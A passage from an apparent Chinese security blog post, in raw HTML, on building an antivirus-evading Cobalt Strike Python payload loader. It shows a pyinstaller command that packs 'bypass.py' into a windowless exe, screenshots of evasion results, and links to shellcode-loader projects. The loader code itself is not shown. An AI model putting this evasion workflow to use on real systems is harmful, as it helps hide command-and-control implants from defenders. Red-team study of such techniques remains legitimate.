src="https://wechat2rss.xlab.app/img-proxy/?k=56524626&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjS2mB7OlsdXUtWOruAKd7ibOylwQHNzB0qrI5KmwgFmwfCW2wZbuY5kdupNpXicjxLENLlibY2jjCmkKibGk3icKfYHFGwNYGhc4el6o85HohqHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2、然后使用CS生成python类型payload</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7074074074074074" data-type="webp" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038390" src="https://wechat2rss.xlab.app/img-proxy/?k=39a2d1a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdXsxrjlaHK6E1lbrrhEyswBrJlPZsqcLJ8En3T5TYfCiaDr6mv2icwLc9ySJwNhcdRkrIdZp59fwB9V2vXVsCHoq83qdMPViaeticA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">3、使用密钥生成脚本生成3个key值后，依次填入主程序脚本中的中三个留空值，然后使用</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">pyinstaller --onefile --hidden-import cryptography --windowed bypass.py</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">打包输出隐藏控制台窗口的可执行文件exe，输出在dist目录下. 双击或命令行start即可执行。</span></p><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x05 免杀效果</span></span></h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038389" data-ratio="0.6777777777777778" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="webp" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=396e6f68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdULVXSce1skmiaSmbbENrJ5eoJuiadMxofYNAHIFFN4zgwHtOT80sBk8wufyzHJRhKv8eSBlAGJqIicyKAIcEBgpkDib4wRdLibmKOA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5277777777777778" data-type="webp" data-w="1080" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-imgfileid="100038388" src="https://wechat2rss.xlab.app/img-proxy/?k=36e22e23&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FjS2mB7OlsdXnSp1giaTdlmGOq3h1GQBSds6HwH37spj1AtwouZpp6hrfL1erwSbc3bAwibIPCkbtLsDEjiahEP26PSMViado5eqlq0jQ915d9CE%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></span></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100038386" data-ratio="0.24814814814814815" style="display: block;margin-top: 0px;margin-right: auto;margin-bottom: 0px;margin-left: auto;max-width: 100%;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 16px;border-top-right-radius: 16px;border-bottom-right-radius: 16px;border-bottom-left-radius: 16px;object-fit: fill;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=5b3c6df5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjS2mB7OlsdUyfVeOZia87IFsZosrprOnpGc3WlbjfFd4uotT0V3awkTZnsltictWzicynyWjU1q94LgojZIZBzMccoKHloUWvn5ZjhfCOk0ibJo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h1 data-tool="mdnice编辑器" style="border-bottom-color: rgb(161, 209, 237);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 4px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 20px;color: rgb(64, 184, 250);line-height: 1.5em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 25px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x06 参考项目</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/langsasec/c2-shellcode-py" target="_blank">https://github.com/langsasec/c2-shellcode-py</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://blog.csdn.net/qq_32261191/article/details/108994177" target="_blank">https://blog.csdn.net/qq_32261191/article/details/108994177</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/Soufaker/moon_kill" target="_blank">https://github.com/Soufaker/moon_kill</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf=""><a href="https://github.com/HZzz2/python-shellcode-loader" target="_blank">https://github.com/HZzz2/python-shellcode-loader</a></span></p></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 